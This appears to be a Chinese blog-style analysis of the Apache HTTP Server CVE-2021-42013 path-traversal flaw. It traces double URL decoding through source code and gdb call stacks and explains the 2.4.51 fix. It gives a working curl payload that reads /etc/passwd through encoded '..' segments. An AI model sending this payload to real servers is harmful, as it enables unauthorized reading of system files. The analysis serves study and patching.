Apache-Http-Server CVE-2021-42013

Apache HTTP Server 2.4.50版本对CVE-2021-41773的修复可以避免一次url编码导致的路径穿越,但是由于在请求处理过程中,还会调用ap_unescape_url函数对参数再次进行解码,仍然会导致路径穿越。

在处理外部HTTP请求时,会调用 ap_process_request_internal函数对url路径进行处理,在该函数中,首先会调用ap_normalize_path函数进行一次url解码,之后会调用ap_unescape_url函数进行二次解码,代码如下:

scss 复制代码
/* This is the master logic for processing requests.  Do NOT duplicate
 * this logic elsewhere, or the security model will be broken by future
 * API changes.  Each phase must be individually optimized to pick up
 * redundant/duplicate calls by subrequests, and redirects.
 */
AP_DECLARE(int) ap_process_request_internal(request_rec *r)
{
    ......
    if (r->parsed_uri.path) {
        /* Normalize: remove /./ and shrink /../ segments, plus
         * decode unreserved chars (first time only to avoid
         * double decoding after ap_unescape_url() below).
         */
        if (!ap_normalize_path(r->parsed_uri.path,
                               normalize_flags |
                               AP_NORMALIZE_DECODE_UNRESERVED)) {
            ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10244)
                          "invalid URI path (%s)", r->unparsed_uri);
            return HTTP_BAD_REQUEST;
        }
    }
    ......
    /* Ignore URL unescaping for translated URIs already */
    if (access_status != DONE && r->parsed_uri.path) {
        core_dir_config *d = ap_get_core_module_config(r->per_dir_config);
        if (d->allow_encoded_slashes) {
            access_status = ap_unescape_url_keep2f(r->parsed_uri.path,
                                                   d->decode_encoded_slashes);
        }
        else {
            access_status = ap_unescape_url(r->parsed_uri.path);
        }
        if (access_status) {
            if (access_status == HTTP_NOT_FOUND) {
                if (! d->allow_encoded_slashes) {
                    ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00026)
                                  "found %%2f (encoded '/') in URI path (%s), "
                                  "returning 404", r->unparsed_uri);
                }
            }
            return access_status;
        }

ap_normalize_path函数调用栈如下,在处理前path参数为/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd:

less 复制代码
#0  ap_normalize_path (path=0x7f32740916a0 "/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd", flags=flags@entry=14) at util.c:508
#1  0x000055b354ea81c5 in ap_process_request_internal (r=0x7f32740900a0) at request.c:209
#2  0x000055b354ec7980 in ap_process_async_request (r=0x7f32740900a0) at http_request.c:450
#3  0x000055b354ec3db3 in ap_process_http_async_connection (c=0x7f32740af360) at http_core.c:155
#4  ap_process_http_connection (c=0x7f32740af360) at http_core.c:246
#5  0x000055b354eba770 in ap_run_process_connection (c=c@entry=0x7f32740af360) at connection.c:42
#6  0x00007f3276a21a45 in process_socket (thd=<optimized out>, p=<optimized out>, sock=<optimized out>, cs=<optimized out>, my_child_num=<optimized out>, my_thread_num=<optimized out>) at event.c:1052
#7  0x00007f3276a22322 in worker_thread (thd=0x7f3276a31128, dummy=<optimized out>) at event.c:2141
#8  0x00007f3276cbffa3 in start_thread (arg=<optimized out>) at pthread_create.c:486
#9  0x00007f3276bf04cf in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95

经过ap_normalize_path函数处理后path参数变成/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd

ap_unescape_url函数实际会调用unescape_url函数,调用栈如下:

less 复制代码
#0  unescape_url (url=0x7f32740916a0 "/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd", forbid=forbid@entry=0x55b354ed2554 "/", reserved=reserved@entry=0x0) at util.c:1901
#1  0x000055b354e8ea3e in ap_unescape_url (url=<optimized out>) at util.c:1949
#2  0x000055b354ea83b5 in ap_process_request_internal (r=0x7f32740900a0) at request.c:250
#3  0x000055b354ec7980 in ap_process_async_request (r=0x7f32740900a0) at http_request.c:450
#4  0x000055b354ec3db3 in ap_process_http_async_connection (c=0x7f32740af360) at http_core.c:155
#5  ap_process_http_connection (c=0x7f32740af360) at http_core.c:246
#6  0x000055b354eba770 in ap_run_process_connection (c=c@entry=0x7f32740af360) at connection.c:42
#7  0x00007f3276a21a45 in process_socket (thd=<optimized out>, p=<optimized out>, sock=<optimized out>, cs=<optimized out>, my_child_num=<optimized out>, my_thread_num=<optimized out>) at event.c:1052
#8  0x00007f3276a22322 in worker_thread (thd=0x7f3276a31128, dummy=<optimized out>) at event.c:2141
#9  0x00007f3276cbffa3 in start_thread (arg=<optimized out>) at pthread_create.c:486
#10 0x00007f3276bf04cf in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95

经过unescape_url函数处理后,可以看到此时的url字符串内容变成/icons/../../../../etc/passwd

less 复制代码
(gdb) fin
Run till exit from #0  unescape_url (url=0x7f32740916a0 "/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd", forbid=forbid@entry=0x55b354ed2554 "/", reserved=reserved@entry=0x0) at util.c:1901
0x000055b354ea83b5 in ap_process_request_internal (r=0x7f32740900a0) at request.c:250
250 request.c: No such file or directory.
Value returned is $1 = 0
(gdb) x/s 0x7f32740916a0
0x7f32740916a0: "/icons/../../../../etc/passwd"

漏洞触发&利用

payload如下:

bash 复制代码
curl -v --path-as-is http://your-ip:8080/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd

漏洞修复

2.4.51版本针对该漏洞进行了多处修改,最核心的一处修改是在ap_normalize_path函数中加强了对url编码的校验,如果检测到存在非标准url编码(%+两个十六进制字符)的情况,就返回编码错误,从根本上杜绝了多重编码可能导致的绕过,修复代码如下:

scss 复制代码
while (path[l] != '\0') {
    /* RFC-3986 section 2.3:
        *  For consistency, percent-encoded octets in the ranges of
        *  ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
        *  period (%2E), underscore (%5F), or tilde (%7E) should [...]
        *  be decoded to their corresponding unreserved characters by
        *  URI normalizers.
        */
    if (decode_unreserved && path[l] == '%') {
        if (apr_isxdigit(path[l + 1]) && apr_isxdigit(path[l + 2])) {
            const char c = x2c(&path[l + 1]);
            if (TEST_CHAR(c, T_URI_UNRESERVED)) {
                /* Replace last char and fall through as the current
                    * read position */
                l += 2;
                path[l] = c;
            }
        }
        else {
            /* Invalid encoding */
            ret = 0;
        }
    }
相关推荐
小马爱打代码几秒前
Spring Boot 接口安全设计:接口限流、防重放攻击、签名验证
网络·spring boot·安全
北极光SD-WAN组网3 小时前
工业互联网时代,如何通过混合SD-WAN提升煤炭行业智能化网络安全
网络·安全·web安全
深圳安锐科技有限公司4 小时前
基坑渗压数据不准?选对渗压计能实现自动化精准监测吗?
安全·自动化·自动化监测·大坝监测·渗压计
Arwen3036 小时前
解密国密 SSL 证书:SM2、SM3、SM4 算法的协同安全效应
算法·安全·ssl
dingzd956 小时前
通过 Web3 区块链安全评估,领先应对网络威胁
安全·web3·区块链·facebook·tiktok·instagram·clonbrowser
Safe network access7 小时前
2023江苏省第二届数据安全技能大赛决赛题
安全·ctf
未来之窗软件服务9 小时前
网站访问信息追踪系统在安全与性能优化中的关键作用——网络安全—仙盟创梦IDE
安全·web安全·性能优化·仙盟创梦ide·东方仙盟
花海如潮淹11 小时前
API安全监测工具:数字经济的免疫哨兵
网络·经验分享·笔记·安全
介一安全14 小时前
【Web安全】逻辑漏洞之URL跳转漏洞:原理、场景与防御
安全·web安全·安全威胁分析·安全性测试·逻辑漏洞·url跳转